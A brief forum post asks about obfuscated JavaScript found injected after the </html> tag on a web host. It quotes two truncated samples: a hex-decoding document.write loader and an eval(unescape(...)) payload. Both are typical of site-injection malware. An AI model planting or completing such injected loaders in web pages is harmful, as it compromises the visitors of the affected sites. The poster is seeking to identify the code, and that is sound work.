Strange Script Showing After </html>

On a particular host for someone I know, they asked me what this is and I've seen it once before but no one seems to know what it is, why it shows up and how:

Code:
</body>
</html><script>function v472ef633a10d3(v472ef633a2094){ return(parseInt(v472ef633a2094,16));}function v472ef633a5018(v472ef633a5fe0){ function v472ef633a8f39 () {return 2;} var v472ef633a6faa='';for(v472ef633a7f70=0; v472ef633a7f70<v472ef633a5fe0.length; v472ef633a7f70+=v472ef633a8f39()){ v472ef633a6faa+=(String.fromCharCode(v472ef633a10d3(v472ef633a5fe0.substr(v472ef633a7f70, v472ef633a8f39()))));}return v472ef633a6faa;} document.write(v472ef633a5018('3C5343524950543E77696E6.......etc etc</script>
There's another one that starts with:

Code:
</html><script>eval(unescape("%77%69%6e%64%6f%77%2e%73%74%61%74%75%73%3d%27%44%6f%6e%65%27%3b%